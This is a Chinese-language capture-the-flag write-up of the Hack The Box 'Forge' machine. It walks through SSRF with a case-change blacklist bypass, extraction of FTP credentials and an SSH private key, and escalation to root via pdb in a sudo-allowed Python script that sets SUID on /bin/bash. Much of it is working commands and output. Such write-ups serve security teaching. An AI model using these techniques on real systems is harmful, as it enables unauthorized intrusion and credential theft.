Hackthebox - Forge

靶场信息

靶场类型

信息搜集

首先使用nmap扫描一下端口

┌──(root💀kali)-[~/Desktop]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-26 21:51 EDT
Warning: 10.10.11.111 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.111
Host is up (0.35s latency).
Not shown: 65532 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://forge.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/26%OT=22%CT=1%CU=32048%PV=Y%DS=2%DC=T%G=Y%TM=615123F
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   358.39 ms 10.10.14.1
2   358.42 ms 10.10.11.111

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.65 seconds

这边只开了2280端口,咱们去看看80端口的http服务内容

访问后直接被跳转到了forge.htb域名,这里咱们加一个域名解析

echo 10.10.11.111 forge.htb >> /etc/hosts

然后再访问一次

这里有个上传功能,去试一下是否可以上传

上传后会被去掉后缀?还是怎么着不太明白,反正没有解析,找一下其他思路吧

主页上没有什么可看的东西了,爆一下目录和子域名吧

┌──(root💀kali)-[~/Desktop]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -t 200 -u http://forge.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://forge.htb/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/26 22:14:58 Starting gobuster in directory enumeration mode
===============================================================
http://forge.htb/uploads              (Status: 301) [Size: 224] [--> http://forge.htb/uploads/]
http://forge.htb/static               (Status: 301) [Size: 307] [--> http://forge.htb/static/]
http://forge.htb/upload               (Status: 200) [Size: 929]
http://forge.htb/server-status        (Status: 403) [Size: 274]
===============================================================
2021/09/26 22:29:14 Finished
===============================================================

这里目录没爆出什么有用的东西,再去扫描DNS看看

┌──(root💀kali)-[~/Desktop]
└─# gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r -t 50 -u forge.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://forge.htb
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/09/26 22:48:35 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]
===============================================================
2021/09/26 22:50:16 Finished
===============================================================

找到了一个admin子域名,添加到hosts后再去试试

echo 10.10.11.111 admin.forge.htb >> /etc/hosts

访问后提示只允许本地主机,得想办法绕过一下

漏洞利用

整理一下目前的信息

  1. forge.htb为一个上传点
  2. admin.forge.htb只允许本地访问

咱们咱们抓一下上传点的包看看内容

看到后面才发现这个页面还有一个Upload from url的功能,疏忽了。

抓个包看看

这边随便输入点东西以后,显示支持httphttps协议,再结合我们之前的admin.forge.htb来看,这不就是一个妥妥的SSRF?

这样利用后,显示该URL被列入了黑名单,需要想办法绕过一下

尝试性使用大小写绕过方式轻轻松松绕过,返回了一个URL,打开看看

┌──(root💀kali)-[~/Desktop]
└─# curl http://forge.htb/uploads/2Y6eGsD37WCBc1m3pSJO
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

成功读取到内容,给了一个/announcements目录

让我们拿去再去读取一下,返回了域名,接着访问

http://forge.htb/uploads/CnrWy5jKhQ1mykfx1ONY
┌──(root💀kali)-[~/Desktop]
└─# curl http://forge.htb/uploads/CnrWy5jKhQ1mykfx1ONY
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
    </ul>
</body>
</html>
我们得到了一个FTP账号密码
username = user
password = heightofsecurity123!

这边提示ftp不能被外部登录,但upload接口可以使用?u=参数指定ftp url

url=http://Admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@127.1.1.1&remote=1

继续调用

http://forge.htb/uploads/BRrgg0w44uZvHW3WEnWz

继续访问,这个步骤重复性好高啊

┌──(root💀kali)-[~/Desktop]
└─# curl http://forge.htb/uploads/BRrgg0w44uZvHW3WEnWz                                                                                                                                                          1 ⚙
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 24 18:02 user.txt

这样获取好麻烦,又不想(hui)写脚本,试试看有没有私钥吧

url=http://Admin.Forge.htb/upload?u=ftp://user:heightofsecurity123!@127.1.1.1/.ssh/id_rsa&remote=1
http://forge.htb/uploads/cBNUTYA6eT50o5vEjpY1
┌──(root💀kali)-[~/Desktop]
└─# curl http://forge.htb/uploads/cBNUTYA6eT50o5vEjpY1
-----BEGIN OPENSSH PRIVATE KEY-----
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
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

成功拿到私钥,保存到本地后使用私钥进行登录

┌──(root💀kali)-[~/Desktop]
└─# chmod 600 id_rsa                                                                                                                                                                                            1 ⚙

┌──(root💀kali)-[~/Desktop]
└─# ssh user@10.10.11.111 -i id_rsa                                                                                                                                                                             1 ⚙
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 27 Sep 2021 03:26:19 AM UTC

  System load:  0.0               Processes:             220
  Usage of /:   45.0% of 6.82GB   Users logged in:       0
  Memory usage: 30%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Sep 26 21:31:23 2021 from 10.10.14.120
-bash-5.0$ whoami&&id
user
uid=1000(user) gid=1000(user) groups=1000(user)

登入成功

-bash-5.0$ ls
snap  user.txt
-bash-5.0$ cat user.txt
7e72b4a44d946d578baa60ad23b0482f

成功拿到user权限的flag文件

权限提升

首先查看一下sudo -l

-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

这里的意思是/usr/bin/python3可以使用root权限执行/opt/remote-manage.py脚本

咱们去看一下这个脚本

-bash-5.0$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

这个脚本的意思是运行脚本后会开启一个端口,连接着一个端口输入选项,异常状态时会进入pdb,从而导致执行任意python代码

那么原理有了,说干就干

那么我们需要打开两个窗口,一个用于执行脚本,一个用于连接端口

Server

-bash-5.0$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:34260

Client

-bash-5.0$ nc localhost 34260
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
'

密码在脚本中,登录后输入一个顿号即可报错

提权后操作

-bash-5.0$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:34260
invalid literal for int() with base 10: b"'"
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os
(Pdb) os.system("ls /root")
clean-uploads.sh  root.txt  snap
0
(Pdb) os.system("chmod +s /bin/bash")
0
(Pdb) exit()
-bash-5.0$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash
-bash-5.0$ /bin/bash -p
bash-5.0# whomai&&id
bash: whomai: command not found
bash-5.0# whoami&&id
root
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)
bash-5.0# cd /root
bash-5.0# ls
clean-uploads.sh  root.txt  snap
bash-5.0# cat root.txt
67a501971344b12bade28d6a75e98cbd

报错后,使用python导入os.system模块,然后即可执行system权限

成功拿到root权限的flag文件